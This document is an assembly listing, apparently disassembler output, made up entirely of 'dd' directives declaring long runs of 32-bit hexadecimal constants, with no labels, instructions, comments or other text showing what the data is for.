		dd 0FC5F51C4h, 0EDD5C3FCh, 48026A17h, 91A57C53h, 0D0446CCFh
		dd 0A93BCE0Ah, 4BDF0214h, 5438AFEDh, 48D750C4h,	0BC01B5F0h
		dd 8DF88132h, 28023F44h, 0B07322D0h, 53572A93h,	0E0ABB719h
		dd 0BD91C45Dh, 0B567107Eh, 9A23FE6Eh, 0A95515AAh, 54AA6955h
		dd 0AF5ECB96h, 205F898Ah, 88E814CCh, 6BEE92BDh,	7449FF2Ch
		dd 68774B98h, 2C68F0C7h, 583604FCh, 0BF840313h,	79F07C41h
		dd 9148C72h, 9F6D3FCh, 20A9F6D2h, 14CC5C19h, 0DE3B9005h
		dd 0FB81EBC1h, 4B782E62h, 0F15DF135h, 38B22E07h, 53468C2h
		dd 0B37FBD64h, 2977C2E1h, 88D0CDACh, 244102B2h,	5F606DEBh
		dd 7D390347h, 8B5C7214h, 708DBE14h, 10761B8Dh, 652BCB4h
		dd 7F5CB833h, 60EE7574h, 0D3528DD0h, 0A041B23h,	6468EC06h
		dd 4C59915Ah, 0C85B4717h, 842C6557h, 3B1AC316h,	0AC76B414h
		dd 0D1895FEAh, 46F4E87Eh, 27FA48AAh, 9331224h, 8E530FBCh
		dd 0CAFDF294h, 0D165FA97h, 91304BEAh, 2B091914h, 0DC2674C7h
		dd 3B25BE57h, 3094CBD8h, 0E8387069h, 0EBF48401h, 0E7192267h
		dd 172F180Bh, 43628239h, 26B26E5Ch, 2CF56C7Ah, 0A72F03EBh
		dd 204DE970h, 0BE531DFAh, 7CE12F90h, 469B0805h,	0C947284Fh
		dd 70060738h, 21274EEDh, 0C89C1088h, 99186574h,	1B2FD521h
		dd 4322CC2Ah, 4B214D52h, 0E47D12F7h, 246E9924h,	0FD9D63BFh
		dd 93C478B7h, 0F6422699h, 7F0062DCh, 0C2277ED9h, 4BA7F688h
		dd 62BD75DAh, 8C20F496h, 0DC1251C0h, 50324075h,	55E81A57h
		dd 0C9BDE47Ah, 0AA36607Fh, 4C846949h, 0F7412CFDh, 74672209h
		dd 0EE041287h, 1AA2C165h, 0B27E1F29h, 0A1B1558h, 0B6A51CDh
		dd 30E00432h, 0A667BB4Eh, 2A035262h, 365A25FEh,	74178269h
		dd 0FA301661h, 22F4D5CCh, 72354505h, 7C16414Eh,	414B509h
		dd 0F08410A3h, 74561C22h, 256D9CF3h, 0C54FF7D4h, 31370C70h
		dd 41220604h, 45792828h, 40F30319h, 90085623h, 5416C810h
		dd 23531A56h, 0C4249004h, 0F27C4DEEh, 0ED8EFEF0h, 402910C9h
		dd 18281B26h, 0B8070611h, 0EB613063h, 8738BA13h, 48E40C07h
		dd 50C48324h, 514834F4h, 2A9D6458h, 0F232A123h,	0C6C3914h
		dd 79448575h, 1C56912Dh, 4A647CC8h, 534E2B2Ah, 90C82011h
		dd 212A2264h, 7218E426h, 4CF718A0h, 0FEFB888Fh,	0B4722CE4h
		dd 285ECF19h, 5322D323h, 0CC213047h, 0A8A8A490h, 0C8241185h
		dd 2A7C64E4h, 28E48021h, 5119F472h, 5155880Ah, 42041C34h
		dd 51292107h, 3C230F2Dh, 112B1895h, 2F24BFEh, 1C3853B1h
		dd 0D657862Ch, 34DA8F28h, 3B4CA253h, 15AB32DCh,	9163AF1Eh
		dd 6454C840h, 87212A83h, 187744E4h, 222A5864h, 2050C05Ch
		dd 2CEB5B5Fh, 7C456F99h, 4E2E2A48h, 0C8539611h,	0E88590ADh
		dd 0AE30242Ch, 974CE91h, 94A52628h, 0DF2BAD6Ah,	0E8359AE5h
		dd 0D2891443h, 0F9530D40h, 86126BD5h, 25923589h, 0A038D3E8h
		dd 0F810C764h, 0D8097FA6h, 3B65FEFCh, 0E1D243BFh, 95B92EA6h
		dd 16DBE82Dh, 3C74F402h, 9439593Dh, 412A150h, 0E639CD01h
		dd 0B44CC411h, 274A4B7Ah, 79F08839h, 2EFE43FCh,	5A3D1071h
		dd 58F82DD5h, 68768940h, 4D2A1663h, 6837D09Ah, 3A4052F3h
		dd 41231E2Ah, 73438E4h,	0E004C7F4h, 3B43F845h, 72145D00h
		dd 6824EBC3h, 0AD33ABF0h, 621732Fh, 84711C94h, 2599570Ch
		dd 4B58FC3Ah, 0F4259BACh, 160E5199h, 6507473Bh,	0CB71F86Ch
		dd 0AF08081Ch, 0AEA14943h, 282008FBh, 4BC2C033h, 0E28A75F4h
		dd 858115Eh, 9464A188h,	777BF820h, 4F745B19h, 40D5050Eh
		dd 90080A9Eh, 0A0323F31h, 40357F22h, 0F185713h,	6849C685h
		dd 0E9D9C534h, 4067F2DDh, 4284D30Ah, 10C92160h,	44BF8888h
		dd 11B5229Ch, 8AAB08ACh, 747CC2C0h, 0C82D2813h,	1A75BE87h
		dd 990DC6C3h, 85217875h, 2F8F1C02h, 100ADC4Ah, 9109C85h
		dd 0D47EEB1Dh, 77260724h, 140720D8h, 0AEC5B970h, 7430C1DFh
		dd 0BBAD2D27h, 48529917h, 6981584h, 32750E0Bh, 24786828h
		dd 0C8514C77h, 0ECF2EB07h, 8F83E11h, 2D37880Ah,	2B2ECA50h
		dd 0AC17F6CEh, 0AA250A1Fh, 0D8A262CAh, 1D645043h, 0A180EE1Ah
		dd 5C311307h, 0E20C0702h, 5070767h, 165FD8E4h, 0E8A681B8h
		dd 4CD73F5Dh, 0BD3E17ADh, 0B81A93BCh, 13057622h, 0B6CCBE02h
		dd 0D7919DE8h, 9EDC2E67h, 9DBE7208h, 0F897BD59h, 0EB97FFE9h
		dd 100957C9h, 0E807443Bh, 463723FCh, 0FB103C61h, 7010897Bh
		dd 8412869Eh, 0EF6A4E25h, 0F998DF22h, 0BE14822Fh, 0E7562AB0h
		dd 89450A88h, 0CE447C9h, 0D08D2938h, 0E2EF5130h, 6594BE13h
		dd 5759C928h, 180AFB29h, 9F112A0Bh, 8B14B861h, 9A9D2FC6h
		dd 279CFAEEh, 39DF286Ah
		dd 5F486C68h, 0E23ED302h, 9BE24BCCh, 44F3944Fh,	0C2297417h
		dd 38DF0C31h, 98306E6h,	0EB02F84Dh, 0FD8E397Ch,	0AAE23356h
		dd 88C9B177h, 0F9A530F4h, 0C96B68CBh, 189D26F8h, 0B5496A3Bh
		dd 572532D9h, 8D137DE4h, 22ABD4BDh, 0F321D036h,	582FB9ABh
		dd 0FCB026F2h, 84AC7684h, 0D0698690h, 0A2F955DDh, 18C41832h
		dd 44842F9Ch, 20E96AB8h, 0D8A00D79h, 7AB631E8h,	0FF65347h
		dd 0BBACD3E8h, 0B35B21CEh, 0C75E4009h, 0A72806A9h, 167CA21h
		dd 3C358B4Fh, 0CA36B83Ah, 1CE8265Bh, 8CAF9C12h,	2DC345B3h
		dd 1F583D8Bh, 9CFFBB49h, 9B32A1Fh, 5D741845h, 9B20D279h
		dd 0CA0B01Ah, 94CEF5F0h, 59581527h, 0AA0F9312h,	7260B060h
		dd 0A45D97DCh, 0A4EFFF66h, 84B56A2Fh, 73F4D7E3h, 91D79DFCh
		dd 68226AA1h, 267BC429h, 442C6A40h, 61C9EBD6h, 2614C499h
		dd 0C09539Eh, 4AAA84C9h, 0D9082B43h, 861CB833h,	91CC8291h
		dd 7334241Dh, 8D343874h, 0B1ED91FCh, 42F4842h, 8B532F24h
		dd 0CCC80BBAh, 14444C56h, 20EB2091h, 0CDFBAA5Dh, 26120E0Ah
		dd 2CC41448h, 0FAAC1858h, 0F77FE888h, 14E8643Fh, 34585E0Fh
		dd 8F77AF1h, 4FE92514h,	4CF1E344h, 0CE25E83Dh, 127CF352h
		dd 95417533h, 6F432D82h, 0EE51D1A2h, 53D61300h,	0D1386268h
		dd 8FD187E8h, 0CAF57E25h, 49357B20h, 84AC4D8Bh,	75861C52h
		dd 0D6191605h, 4056D5EBh, 8D6ED2D5h, 0FAF005E7h, 18DD78A7h
		dd 0A5F3AB4Ch, 707A56BFh, 98A4FD68h, 0DE44B625h, 66F8C4D7h
		dd 6A53952Ch, 9746F54Bh, 0D5F6A529h, 91F032B2h,	0FDC65618h
		dd 4762B459h, 9D4CDDFDh, 40BF3E84h, 0B90D6C22h,	0F909B0Dh
		dd 8254C422h, 1160375Fh, 0A7959045h, 250FB355h,	136004ECh
		dd 6B1469FFh, 0C2F9DA2h, 15D0908Bh, 0CC9D6A92h,	0A991B7E7h
		dd 56269216h, 0F709112Ch, 0EB5548A6h, 0DC724AFDh, 68011D72h
		dd 9CE81401h, 4BDDABFCh, 0E6095035h, 5CEE655h, 24A1E3EBh
		dd 49E1E833h, 0F2A496E6h, 0D5019503h, 4B332CA1h, 0EB20210Dh
		dd 0A3C04CF7h, 0D715BAEAh, 0DC9F9846h, 9A276DEDh, 0D65528B0h
		dd 0AD88239Dh, 7F2764D9h, 2E08BB4h, 89C66881h, 26A45026h
		dd 0E41550B9h, 0DFB2EA27h, 0AF4C52D2h, 0B482FFA2h, 1122450Dh
		dd 958AF943h, 68CF1C17h, 0F81619D5h, 7014E642h,	0F79730B5h
		dd 7D958C14h, 0C6C39034h, 0D5E8057Fh, 87328C74h, 9437790Ch
		dd 2D948FBEh, 2530BB12h, 748DEF02h, 0F249053Eh,	0DF80BD3Ch
		dd 16251C74h, 24334AFAh, 0FE6064DCh, 2B9B8662h,	2B21E1DFh
		dd 1599F26Bh, 211D2035h, 0D74855Ch, 0BE54C581h,	0AAFD43C4h
		dd 9C0A6A84h, 1BBA9D6Ah, 107664C5h, 54DE10BAh, 54740A03h
		dd 0C8253B40h, 8568DA72h, 8F423E7Dh, 29C1B5F4h,	7E2318FCh
		dd 4253BC88h, 179B6D74h, 644530F6h, 0B2FF6844h,	49BF4FE5h
		dd 932040A2h, 0C868AFEBh, 1F8C2192h, 0D44E8248h, 111014B2h
		dd 0CEBF7627h, 2E831C6h, 4BF86831h, 89592329h, 477D10E7h
		dd 140E2CF1h, 36A2230Eh, 531BC439h, 3781055h, 55E85450h
		dd 73209AACh, 88852F8Dh, 10BC87C7h, 8E5450Eh, 0C0A7C63Eh
		dd 6D3D8BEFh, 3B4A7BD0h, 437EE4FDh, 0F04F7B0Ch,	0C5D328E9h
		dd 0FA11D5BEh, 2E268AC4h, 25BA9D50h, 14811711h,	5E0EF2BAh
		dd 91C6CFC6h, 34D7977Ch, 0E9E6BA59h, 23DE4C69h,	1776D466h
		dd 0B33B1CE8h, 9A8C211Fh, 0B4D11D0Eh, 2F1D1812h, 4613FE25h
		dd 0CC6F06C8h, 8C7DE655h, 0E92EE9C7h, 86C7911Ch, 89B96968h
		dd 0EC3FB897h, 0BC75847Dh, 512DA6BBh, 0EBA3E09h, 381CB2E7h
		dd 822DBB5Ah, 0D7029EA5h, 0B244A3D8h, 0AF816CFh, 0D49E082Ch
		dd 1D29201Eh, 1D870813h, 744C10D9h, 0B2E39A05h,	196A6E28h
		dd 0E88320B3h, 46954028h, 490A7F08h, 2F7F3058h,	0A1520C4Ah
		dd 0DC4B4DE4h, 0EA6A24BFh, 778FDF49h, 72608942h, 5A9251D0h
		dd 0D5A79825h, 0B0B46494h, 37D4870Ch, 0AB274B75h, 0FC885B71h
		dd 450E7C10h, 823FD088h, 18121113h, 0B934AFA0h,	0FB9A25EEh
		dd 3EE6A9B6h, 78F54AAAh, 0AF76BFFCh, 7740DD4h, 72F1BE8h
		dd 33A72C3h, 0B5B1A2C6h, 0D30EAB0Eh, 1014DBFBh,	914B0214h
		dd 7F3D39BAh, 150D4F53h, 0C6539919h, 802F28BEh,	841F59C6h
		dd 6009573Bh, 209043F2h, 58430F8h, 0A1665375h, 0EAB917F0h
		dd 0B43A2267h, 1B11200Bh, 941751D7h, 37F4589Ah,	8A2DE65Fh
		dd 6A515F2Eh, 0B6998D27h, 243B7772h, 3EDD12C2h,	646328FBh
		dd 0A413EB88h, 44682A27h, 4BBF431Eh, 1A75D8C1h,	0EC238279h
		dd 53F0B6C2h, 0C4EC108Fh, 0EB12AE6Eh, 0CEFC3994h, 782B8090h
		dd 0AB4764ACh, 66CEDA2h, 0F537432h, 53E64F99h, 88B2A042h
		dd 3D0CC431h, 101A968Fh, 34861F89h, 7A8C0E10h, 0B2A71857h
		dd 0C7203C0Fh, 7C63A1ADh, 9008EA14h, 0FA539264h, 5EEC5193h
		dd 1327EA06h, 0D9BA574Fh, 27723BF3h, 69257C57h,	0F0DF2155h
		dd 0EC7C7A74h, 0CB4073CBh, 6292D0B6h, 4325C998h, 0E7FA8ECh
		dd 7551C748h, 0C106401h, 0BB05EF88h, 3F415C61h,	0A8AD1008h
		dd 36EF6742h, 0C6FC1F45h, 0D9C09F08h, 94267220h, 9697DE9h
		dd 128B7D69h, 8222C652h, 0C53EFE80h, 90711EF8h,	477C8369h
		dd 5924FE06h, 2F1E6475h, 7064EAA5h, 0EB5CB0F0h,	3654DFE9h
		dd 31B4F290h, 0B1100ED8h, 8DEFD73Eh, 84910B0Ah,	8E6CEED6h
		dd 8E01AC41h, 12A28C6h,	8276FC6Ch, 78B36A33h, 814C1822h
		dd 3E315FFEh, 9C04FEBCh, 11420440h, 893C7F10h, 5456965Bh
		dd 8669162Ch, 192B07A4h, 61E47557h, 95841978h, 8665C6CAh
		dd 267C2016h, 5CD08515h, 23BB8711h, 1160420Dh, 10E0463Eh
		dd 90CA116Ch, 3BB762B2h, 0E06426C5h, 1EA4AC22h,	0D72C3599h
		dd 90088FE0h, 31E0E4EDh, 2667AB48h, 0DC71C8A7h,	786C9959h
		dd 0F0B29C42h, 84123030h, 1CD31B47h, 0CE125022h, 7690F0A4h
		dd 7A3AF685h, 0ECED11A3h, 63AAA5B1h, 0A45EC822h, 52D444ECh
		dd 0E5A5F228h, 0F3485F36h, 0D431E0B2h, 8AF47948h, 4E26634Eh
		dd 36F2F33Ch, 88744779h, 0C0F3A42Ch, 538D7210h,	2EFED0AAh
		dd 41B3F885h, 0BE21E5BDh, 0E083C701h, 86CA3C01h, 191BA795h
		dd 2C41FB80h, 0BEF2179Eh, 1AC177F3h, 2FA92F13h,	8C0A6A18h
		dd 4A9C3BDAh, 21112095h, 64C911E0h, 0E2EF20CCh,	6EF25F6Dh
		dd 7503F805h, 650F1A67h, 0D5212F64h, 0D0CAA2E7h, 28B1CE21h
		dd 0EF480C13h, 3B80160Bh, 0CF1F317Dh, 0B1EBA511h, 5900A95Dh
		dd 0D128C3FEh, 4269B1EFh, 70343851h, 65228413h,	0E6337F39h
		dd 654C995Bh, 4D184894h, 8D1C9649h, 0E7459160h,	1C8EA855h
		dd 102FA74Ah, 178C3A0Dh, 0F702990Dh, 8B04247Ch,	649856C2h
		dd 0FE61EA28h, 0FF050AFEh, 9D59C3B4h, 872586F0h, 0C5AAF4BAh
		dd 2314B4D8h, 44E3334Bh, 121EC734h, 0E23112EDh,	66945AD4h
		dd 0A19143E4h, 0FD3A5029h, 0DFDAB2ABh, 5FAD9E67h, 4D8D9890h
		dd 12FB96D3h, 0E378B88Dh, 682D0E57h, 0A4582003h, 0F39F5A43h
		dd 70A767h, 0D7EAA6BDh,	0EE5F55E8h, 0BA06AD5h, 0C7FE06ADh
		dd 51012404h, 0D128BFBCh, 95E8F20Dh, 27C27132h,	898DFF56h
		dd 430C9519h, 0EA6806BBh, 0F87F0323h, 255969F7h, 809165Ah
		dd 7213C868h, 38162989h, 12F818BDh, 4DCA43DDh, 0D29714FCh
		dd 0CD400F88h, 8740912h, 7482F074h, 8CDF27F4h, 32080E48h
		dd 0F4223D76h, 0EB426CF6h, 0EFD2DD03h, 2BF6F063h, 3BC6D8C8h
		dd 1734FCBh, 1EBF471h, 4AAC3B53h, 17774F0h, 29085D1Bh
		dd 3B572D64h, 0CD64D4D8h
		dd 0F8132B96h, 0DD8B002h, 0E0C461F4h, 0E40855D9h, 13C3F01Dh
		dd 0F8F6E0DFh, 39057A44h, 6A69E8D9h, 943F45DDh,	1620A0F8h
		dd 0DAD79281h, 3F0C8C2Dh, 1481DD59h, 886FCCD8h,	0B10C6FF1h
		dd 60C06E74h, 43D6A312h, 649E883Fh, 0F6D15798h,	1328DEEBh
		dd 0A6C66C8Bh, 27B06A5Eh, 9C0345FCh, 141EC40Eh,	10C821E2h
		dd 6220CC88h, 0D4182CD0h, 0D821863Ch, 5CDC884Ch, 186CE062h
		dd 21867C94h, 9C9C8898h, 0ACA08861h, 18BCA462h,	2186C8A8h
		dd 0B088DCACh, 0FCB462ECh, 420CB818h, 1CBC1015h, 3130C0C4h
		dd 0E80C40E4h, 0AD415443h, 7CF00711h, 8C43F40Ch, 1698F811h
		dd 92F239E8h, 5AC4851Eh, 0CD0B134Ah, 27566D70h,	0B5382212h
		dd 0F5F6F649h, 0F8B47B0Fh, 301C0B8Dh, 0FBD4EBD1h, 252DE1Dh
		dd 0C6AD805h, 0A7FC8EC2h, 10949428h, 25DE205Ah,	8F12ED15h
		dd 9F3A34FEh, 383482E3h, 0F724EED1h, 2978F054h,	1E28C5E8h
		dd 6CD651E4h, 0ACB37520h, 3AC45612h, 0E9110CC8h, 0C84CCF22h
		dd 7C269A43h, 0C3AF3F49h, 5F021F60h, 310499A9h,	4F33203Ah
		dd 13C8C9F2h, 2E74ADC1h, 51509338h, 88EEBD12h, 0B0556813h
		dd 822AE1h, 65BED435h, 10D79E94h, 0BA4BE76Eh, 0A5293B61h
		dd 4A307642h, 707E55FAh, 23C57F52h, 51801331h, 30BE5160h
		dd 3C910E10h, 441A2B5Fh, 92A0C24h, 0DDE58C8Eh, 2CD0A2F6h
		dd 0C56EC08h, 16106851h, 6C7EBEDEh, 40D56A97h, 9D36CA2Eh
		dd 0CEB7C4ECh, 30E59759h, 55924AA7h, 24F28D76h,	70BE6BEDh
		dd 0B539384Ch, 9518F084h, 9283335Fh, 42397546h,	1274BE47h
		dd 0E6AB42EBh, 0AFF5B7Dh, 470D348Ah, 0B52CD75Ah, 541231Ah
		dd 0A33321DAh, 413945E0h, 0EB035284h, 0F788660Bh, 9D5E07F4h
		dd 6454D192h, 0F424084h, 12EF04C5h, 44C9EB06h, 0DA25D06Ch
		dd 18FC1066h, 0C72B29C4h, 0D31B3880h, 0E2D09556h, 3B5E4C32h
		dd 80F742FAh, 72D17798h, 0DE3B3B04h, 2534CB37h,	2834B864h
		dd 0CA6A19A3h, 60250416h, 158C9EBh, 5725B77h, 6050FE83h
		dd 4B6F6ACCh, 7722D924h, 471084DEh, 3BC44248h, 32243722h
		dd 26112B62h, 1B312112h, 19891E08h, 25840B18h, 0B258730Ah
		dd 0C62B20C0h, 1703D11Bh, 0BBD713C3h, 4168B528h, 8C50509h
		dd 0D4AD3455h, 9EFC89C1h, 0FFFF7D2Eh, 33B15AC9h, 38F942DBh
		dd 52085846h, 443C9D39h, 66440826h, 1C496707h, 261042B5h
		dd 0A8167202h, 20FCC831h, 70EB298Ch, 66913C2Ch,	24250999h
		dd 0A38C5508h, 4225E66Bh, 5B432928h, 33537228h,	2C2C405Bh
		dd 2A294684h, 30421201h, 2191723h, 74123421h, 383C7D84h
		dd 382F2F75h, 74426656h, 0A3ECFF27h, 98180EC9h,	6A68FCB1h
		dd 12834D40h, 249084A9h, 622A214h, 48A166FCh, 3F6A3C31h
		dd 0A485357Ch, 0E188EB2Bh, 0AE13D7A6h, 68A1DB41h, 0E2624E2Fh
		dd 0F819565Fh, 7E0D25A9h, 27B44E82h, 97D0E677h,	0F6A9DDA1h
		dd 0E4B37AFEh, 63DDF489h, 0BD39AC3Eh, 38F1FA64h, 0C34C3685h
		dd 881C4AE6h, 0FFCA2A9Ah, 0FB9A8059h, 3ED95DD7h, 74787F52h
		dd 535D6464h, 0DA82A5FFh, 2079D37Fh, 421C869Ah,	0D4174070h
		dd 0BF206A88h, 27421974h, 0CF4E5E2Ch, 546899B8h, 0FA444B83h
		dd 98669C50h, 0E1348740h, 0C5D2EC3Bh, 1004F698h, 8AAFBAD4h
		dd 0F81810ECh, 0C550AFA7h, 1112F998h, 993E900Bh, 0CB3A2040h
		dd 7EC290Dh, 0FAB65E3Fh, 0F5AFE80Ah, 0E8D648FAh, 44FF696Ah
		dd 0F3D897F1h, 3C0642F9h, 44093819h, 0FA7D087Dh, 5F2462A5h
		dd 0B5235A42h, 0E171B940h, 0C4D021C8h, 0D3B06630h, 682905A1h
		dd 0B7E95680h, 0C6E80B48h, 0C44E7432h, 0C72E2950h, 5605087Eh
		dd 61780BEh, 0E40534ABh, 2B481D06h, 3DC9DC0Ah, 8172636Ch
		dd 28A14A75h, 7DC4251Ch, 5FA2EA9Dh, 48135B99h, 5C266816h
		dd 98421117h, 66905A30h, 4A0142F6h, 0F74F805h, 16486C68h
		dd 800F6982h, 0DD1F74EDh, 2A37BDEFh, 69451978h,	867C400Ch
		dd 222B5845h, 0CDF60C17h, 0BA09796h, 0E2D69559h, 0CB126CEDh
		dd 0FB231E17h, 4F1C9731h, 0CCB50F39h, 455F5C8Bh, 0C26510F2h
		dd 1AFFFCA4h, 57C9127Fh, 11021D9h, 9BDE5725h, 0D461FD69h
		dd 82A904F4h, 0E8B7C430h, 1BA92A28h, 1AF90D38h,	19F60E4Dh
		dd 9FF8160Ch, 0F9541B66h, 294AFA12h, 0C997E50h,	1D575FB8h
		dd 8C088AECh, 7D890D0Fh, 54A93A06h, 63FCA815h, 6D8647Ch
		dd 3EE80EE0h, 8214CCAFh, 8443A418h, 0E3BA0F33h,	0D4ED275h
		dd 0FF1576CCh, 9998196Ch, 0FBA2C812h, 34C00C0Ch, 75B70FD8h
		dd 0CD1EA3D0h, 64129B66h, 28DD3CD4h, 0AD1AA3E0h, 6412A766h
		dd 29C334DCh, 66FD13EAh, 0E45912AFh, 381A42B0h,	0A2ED253h
		dd 5150036Ah, 74FBF24Eh, 0E8DCBFF1h, 2A66B75Ch,	6174F313h
		dd 66F8FF4Bh, 935D9DF5h, 0FE29BDACh, 0BD7D3A32h, 0FC1FADECh
		dd 3F44074h, 0B2A1D35Eh, 0A0F9FA49h, 9D17C808h,	7E4D42Fh
		dd 3E162829h, 21182092h, 22E6EEAh, 0FA5DD08Bh, 213C6968h
		dd 0A11ED9AFh, 46FAA408h, 0BEB03B51h, 7CFE2C2Fh, 0FAA450DDh
		dd 0AB305684h, 6F38A82Ch, 0E8D920D2h, 9BCE03Ch,	0F44239C8h
		dd 9665F9Dh, 11F9BC4Fh,	0B52F09D1h, 43E8B048h, 56B5FD76h
		dd 6BCC7113h, 5AF73CE4h, 742740C1h, 41018A14h, 0C5C08428h
		dd 751A0F84h, 50D05F1h,	0DC83019Eh, 37E88FEh, 0F0833CD0h
		dd 44C2331Dh, 87A904C1h, 748110FDh, 41338BE8h, 0A33259FCh
		dd 6C24DBE4h, 137CBA24h, 0F0100FDBh, 3FCDEB02h,	56D0418Dh
		dd 0C3C1322Bh, 4216FE14h, 0E5FCC8FDh, 0AA0112CCh, 5726E4F2h
		dd 6828277Bh, 87D0CC5h,	0C6B81EF2h, 0F643C525h,	663A9E59h
		dd 2133090h, 0C4BFF7E8h, 0A5145E36h, 3CCCC935h,	0D6EE726Dh
		dd 9AF843BFh, 0E298C051h, 77D2FA40h, 79EB9A74h,	0AF48FBC7h
		dd 332760EBh, 66D6E851h, 0F10431A1h, 0F152F155h, 0CABC22Ah
		dd 0C83F5A79h, 672B141Dh, 27AA971Bh, 5DE5621Dh,	7A018788h
		dd 8141FF1h, 9769E692h,	9839E6C2h, 85771814h, 0C9B15F11h
		dd 5527CA85h, 0C4261DEh, 0EBA78325h, 70C23A0Dh,	4829E8E0h
		dd 3C6D8271h, 6FF99101h, 548C825Dh, 0BA3C1048h,	5C626E43h
		dd 7498097Dh, 51C224EBh, 5D1C7A83h, 17CA7E0Dh, 0F308B827h
		dd 3508460Bh, 9742C720h, 0F5A35CD1h, 504ACCA3h,	0A5206A45h
		dd 0E334A101h, 0F02142Ah, 0AFD467C9h, 8F5DD2EBh, 0CD3020F4h
		dd 651142Ah, 0C29B88Bh,	31643652h, 5F61683Ah, 0A40C284Ch
		dd 240A4627h, 6A59D05Dh, 9248DE30h, 3864EA29h, 52744233h
		dd 503DA1A1h, 2A25899Ch, 93F45C27h, 96E80981h, 14F44D73h
		dd 18C063F0h, 8014972Ah, 0A4521024h, 2C527765h,	4EE44CC2h
		dd 2E83112h, 0BF0BEB25h, 0C32DC675h, 60026D5h, 50C400Ch
		dd 0EB0A68DFh, 2E628C16h, 0B74C4E72h, 8CA4A57Eh, 0F02C9419h
		dd 0D543AC7Ah, 0F6C0D022h, 690E46D3h, 43003C2Eh, 37F42810h
		dd 92A0A12Ch, 0A7E0838Ch, 0E8300B74h, 56DE122Fh, 0A6822145h
		dd 0EE0964C6h, 0CE27954Ch, 0C98C90Ch, 40856653h, 0A4158BD0h
		dd 0AE897BC9h, 3BC6DC12h, 0D019A805h, 0F8E2E937h, 520CF5A4h
		dd 9390A410h, 1C3520A8h, 0A88FFD5h, 0A6E89D5Eh,	98912B74h
		dd 6CD46842h, 0E8028878h, 696550EAh, 0D25F8E1Ch, 0DD780A0h
		dd 0B06826EBh, 4EACD547h, 96C22128h, 0DA353C18h, 28E90CC4h
		dd 0C7FF4EBh, 8F2C71B7h, 10D6F983h, 0E343A6F6h,	9501E219h
		dd 1AC3B07h, 0E0F042D2h, 575A0B77h, 8224C037h, 442C76B2h
		dd 8868295Eh, 0E801415Fh
		dd 87421B63h, 0C9BFDB33h, 1A0A52F4h, 0F88B5E25h, 0A24D8A04h
		dd 3A94019Dh, 3B2CF372h, 0B3500329h, 0A8B28F54h, 0DA95150Fh
		dd 54FB9784h, 0E050CA75h, 4A73589Eh, 0AA88AFA5h, 57E5C807h
		dd 8363694Ah, 9189DAC2h, 0BB207D09h, 0B5494D74h, 5F4CC738h
		dd 41124DCCh, 550A0454h, 0B3084280h, 833DA633h,	0FEDCBABCh
		dd 89833D54h, 1310512Ah, 3103142Bh, 0E9871810h,	0AD5E0AA0h
		dd 4B03BE06h, 0ACA10988h, 97050EA2h, 8B0805A3h,	3B060E0Dh
		dd 768DB0C8h, 0E06540Ch, 830E804Eh, 0DA8683Dh, 0A10D0A88h
		dd 89A73008h, 0EB2A0448h, 3EC88209h, 78DDB6A0h,	8FA1A83h
		dd 1D049699h, 8252F056h, 37FDAF13h, 0A59E4911h,	14364559h
		dd 1881F80Ch, 9342FA17h, 0D2EC066Ah, 0F989F48Ah, 2E4DA852h
		dd 10D81C4Ch, 0C8C2266h, 8A21C935h, 4C67240Dh, 4C178D3Bh
		dd 90502010h, 5227991Eh, 66A04120h, 9B503FAEh, 37C18332h
		dd 480F3A2Dh, 0D6218BF2h, 1626039h, 5EB719CBh, 0A1ED5026h
		dd 94AF0FCCh, 54D1A24Ah, 0A9148C18h, 0FF3310AAh, 0FB7BE80Bh
		dd 0F84A38CCh, 288B17F8h, 0E59CE1AFh, 39B57E3h,	4D535A40h
		dd 9CA03BF8h, 2EDE1173h, 34187C2Fh, 1980D2Fh, 0E7EBF02Eh
		dd 0D062A6F7h, 2CD590E8h, 0C63088A0h, 6EF623FCh, 0A267B84Dh
		dd 41C86890h, 0A6CE1865h, 656F5684h, 828A9A95h,	88708BD2h
		dd 2C3C6F14h, 0D805C97Ah, 0E870781Dh, 2691FAF0h, 4D7E985h
		dd 1A822312h, 4AFBE61Dh, 0A0B73417h, 542D4E6h, 2E11B279h
		dd 0F8B604B4h, 88F0D79h, 9D700246h, 0F0648D61h,	0B7EAE11Ch
		dd 2B2CF051h, 8642D6A5h, 14E4B8B3h, 682D3024h, 90B9C7A4h
		dd 0ED6132E2h, 85C00EB8h, 0C780C450h, 610A112Ah, 319356A4h
		dd 4803DEB8h, 0DB5C0CF9h, 687B408Bh, 37C7502Eh,	0B960D878h
		dd 12DB51EAh, 1032A5ACh, 0E427EC2h, 9282A5D0h, 0F2544B34h
		dd 0FA0EA2E2h, 6586E702h, 0DA4F7C89h, 119CF091h, 825DBA65h
		dd 19C72C4Bh, 52110F6Eh, 0BD88A560h, 0E82084C9h, 0CFF84120h
		dd 5CE279CAh, 0A4FCB1C2h, 0F03B98C8h, 0EB3E7426h, 987A818Bh
		dd 9A097585h, 78831BCFh, 0B6102A18h, 61DFC6E4h,	455FF7E2h
		dd 0EBA44FA6h, 256AF264h, 26A3014h, 0E6155375h,	2D6901CAh
		dd 250E2875h, 3B20385Ah, 0A8CDC8C1h, 913C7FC4h,	13C1A18Dh
		dd 256B32C1h, 84E1826Ah, 88CC3C50h, 1708648Ch, 0CCD2C5AAh
		dd 89C44382h, 979023EBh, 9624C283h, 57E841D7h, 22255F6Fh
		dd 0B9F1B01Eh, 10C1169Eh, 59509C1h, 12567510h, 5790A1F4h
		dd 5110422Bh, 4BB208A3h, 0ECEA030Dh, 111F0928h,	712DD7ACh
		dd 0F481F14h, 0A23B4415h, 0A761572h, 0CA3282Ah,	0D0B237B2h
		dd 3E56894Ah, 3B0C4C46h, 2476347Ch, 2BA54729h, 0F69EBB51h
		dd 3FC25C4h, 1D34E842h,	38B23253h, 0A0FC31ACh, 1B52F1CDh
		dd 7CAD4319h, 98E14EAAh, 0C23A5408h, 0DAEB51FBh, 79E2124Ch
		dd 69A4487Ch, 342105F3h, 6522F75h, 49BEE608h, 8C736FF8h
		dd 22C4B543h, 0C5342A5Eh, 0D2F0EA9Bh, 0AE1F9906h, 0A8E996B0h
		dd 32CC4388h, 85102039h, 79010262h, 50890451h, 0B03CEBCCh
		dd 50FB84E5h, 8C585F45h, 0C3C4C443h, 8A34CA5Dh,	420241CFh
		dd 4EA0A304h, 0CA797B20h, 48140FAAh, 89110056h,	0A13BEB10h
		dd 2354A857h, 0F2CF103Ch, 2041F6Fh, 0F1B3A8A3h,	0D8660E89h
		dd 411F33D4h, 8AC617A6h, 11ADCA72h, 118919A8h, 0A16EC727h
		dd 0FEDB19EDh, 8FD92E92h, 0E0A6F4F3h, 0C747E0ECh, 1B6916E1h
